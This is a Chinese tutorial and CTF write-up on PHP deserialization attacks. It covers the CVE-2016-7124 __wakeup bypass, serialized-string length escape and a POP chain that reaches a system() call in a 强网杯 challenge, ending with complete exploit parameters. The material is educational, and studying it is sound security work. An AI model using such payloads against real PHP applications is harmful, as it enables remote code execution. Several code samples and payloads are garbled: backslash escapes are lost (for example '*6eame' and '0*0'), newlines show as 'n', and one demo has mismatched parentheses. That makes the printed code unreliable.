PHP的反序列化POP链利用研究

  • A+
所属分类:代码审计

0x01 基本概念

POP:Property-Oriented Programming 面向属性编程

POP链:通过多个属性/对象之前的调用关系形成的一个可利用链(如有错误请指正)

PHP魔法函数:在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用,即所谓的魔法函数

PHP序列化:将PHP变量或对象转换成字符串

PHP反序列化:将字符串转换成PHP变量或对象

0x02 PHP序列化与反序列化

写一个简单的demo,类man中有name喝age属性,__construct是魔法函数,在创建对象的时候会调用,serialize()函数就是序列化,var_dump会打印序列化后的字符串

<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
}
$man=new man("Bob",5);
var_dump(serialize($man));
$uman='O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666';
var_dump(unserialize($uman));
?>

打印结果如下:

PHP的反序列化POP链利用研究


O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;},从前往后说,其中O表示对象,3是长度,man是类名,2表示2个属性,大括号内表示属性名和值。

在demo中也可以看到,字符串O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666 依然可以反序列成man对象,且属性与O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}相同,说明在规定语法外添加字符串不影响反序列化的结果。

0x03 __wakeup()魔术方法绕过(CVE-2016-7124)

unserialize()会检查类是否有__wakeup()魔术方法,有的话会先调用该方法,稍微改一下上面的demo,可以看到在反序列化的时候调用了__wakeup魔术方法:

<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
 function __wakeup(){       
 echo 'Its __wakeup';
 }
}
$man=new man("Bob",5);
var_dump(unserialize((serialize($man))
));
?>

而CVE-2016-7124漏洞是当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。也就是说,对字符串O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}反序列化时,会不执行__wakeup,较低版本的PHP会有这个漏洞。

<?php
class man{
 public $name;
 public $age;
 
 function __construct($name,$age){       
  $this->name = $name;
  $this->age = $age;
 }
 function __wakeup(){       
 echo 'Its __wakeup';
 }
}
$man=new man("Bob",5);
var_dump(unserialize('O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}')
));
?>

0x04 PHP序列化与反序列化逃逸

看下面的demo

<?php
function filter($string){
  $a = str_replace('11','2',$string);
   return $a;
}
$username = '111111'; 
$password="abcdef";
$user = array($username, $password);
$a=(serialize($user));
echo $a;echo "n";
$r = filter($a);
echo $r;echo "n";
var_dump(unserialize($r));
?>

输出如下:

a:2:{i:0;s:6:"111111";i:1;s:6:"abcdef";}

a:2:{i:0;s:6:"222";i:1;s:6:"abcdef";}

bool(false)

看到在第一个参数找6个字符的时候,第二个字符串反序列化会报错,是由于剩下的字符串不符合语法规则了。

如果说password只能输入字符串类型,但我想将password变成int类型呢?

需要将代码修改如下:

<?php
function filter($string){
  $a = str_replace('11','2',$string);
   return $a;
}
$username = '111111111111111111111111'; 
$password='";i:1;i:1;}xxx';
$user = array($username, $password);
$a=(serialize($user));
echo $a;echo "n";
$r = filter($a);
echo $r;echo "n";
var_dump(unserialize($r));
?>

PHP的反序列化POP链利用研究

逃逸本质上是由于序列化的时候字符串长度固定了,但是在反序列化之前,会由于各种原因改变字符串的长度,导致反序列化时读取的数据发生了变化,如果经过精心构造格式正确的payload,那么就可以达到逃逸的效果。

0x05 强网杯题目---Web辅助

这个题目是依靠PHP序列化与反序列化逃逸、__wakeup绕过、POP链构造几个点来最终获取flag的。

题目如下:

index.php

...
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %sn', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!n";
}
...

common.php

<?php
function read($data){
$data = str_replace('*', chr(0)."*".chr(0), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '*', $data);

return $data;
}

function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Passn");
}
else{
return $data;
}
}
?>

play.php

...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...

class.php

<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
$this->admin = 1;
return $this->admin ;
}
}

class topsolo{
protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;
}

public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}

public function __destruct(){
$this->TP();
}

}

class midsolo{
protected $name;

public function __construct($name){
$this->name = $name;
}

public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!n";
}
}


public function __invoke(){
$this->Gank();
}

public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?n";
}
else{
echo "Must Be Yasuo!n";
}
}
}
class jungle{
protected $name = "";

public function __construct($name = "Lee Sin"){
$this->name = $name;
}

public function KS(){
system("cat /flag");
}

public function __toString(){
$this->KS();
return "";
}

}
?>

PHP魔术函数部分使用情况如下:

__construct() //当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

我们可以控制的点是username与password,最终要执行的点是jungle->KS(),查看各个函数间的调用情况,将jungle当作字符串时,会触发__toSrting(),调用KS(),midsolo的name是jungle对象时,Gank()函数会将name当作字符串处理,而topsolo的TP()函数会将其name属性当作函数,这样会执行name的__invoke()函数,发现反序列化此POP链可以获取falg:topsolo(midsolo(jungle()))。

那么怎么通过可以控制的username与password达到反序列化POP链呢?

想到将对象放入到username或password中传到后端,这样反序列化的时候就会调用这个POP链,获取flag了。但是现在还有问题,无法直接传递对象,想到可以用序列化的方式传递

如果反序列化的字符串是O:6:"player":3:{s:7:"*user";i:1;s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;},就达到了目的(由于属性是protected,所以属性名是形如 * name这种)。

需要绕过midsolo的__wakeup()---通过CVE-2016-7124改属性个数绕过

反序列化的字符串不允许出现name---通过使用大写的S,十六进制进行绕过

得到想要反序列化的字符串:O:6:"player":3:{s:7:"*user";i:1;;S:7:"*pass";O:7:"topsolo":1:{S:7:"*6eame";O:7:"midsolo":2:{S:7:"*6eame";O:6:"jungle":1:{S:7:"*6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;}

又因为read函数会将字符串*长度由5变成3,可以进行逃逸(不清楚的可仔细看下0x04)

所以最终的利用是username=************;password=2";S:7:"0*0pass";O:7:"topsolo":1:{S:7:"0*06eame";O:7:"midsolo":2:{S:7:"0*06eame";O:6:"jungle":1:{S:7:"0*06eame";s:7:"Lee Sin";}}}S:8:"0*0admin";i:0;}

发送带相应参数的请求后,服务端会将player序列化,反序列化之前会执行read函数,减少字符串长度,吞噬掉password的部分字段,最终导致反序列化了字符串O:6:"player":3:{s:7:"*user";s:60:"************";s:7:"*pass";s:172:"2";S:7:"*pass";O:7:"topsolo":1:{S:7:"*6eame";O:7:"midsolo":2:{S:7:"*6eame";O:6:"jungle":1:{S:7:"*6eame";s:7:"Lee Sin";}}}S:8:"*admin";i:0;},根据之间的链会调用KS()获取flag。



参考链接:

https://www.freebuf.com/articles/web/247930.html

https://www.cnblogs.com/tr1ple/p/11876441.html



本文始发于微信公众号(yuan安全):PHP的反序列化POP链利用研究

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: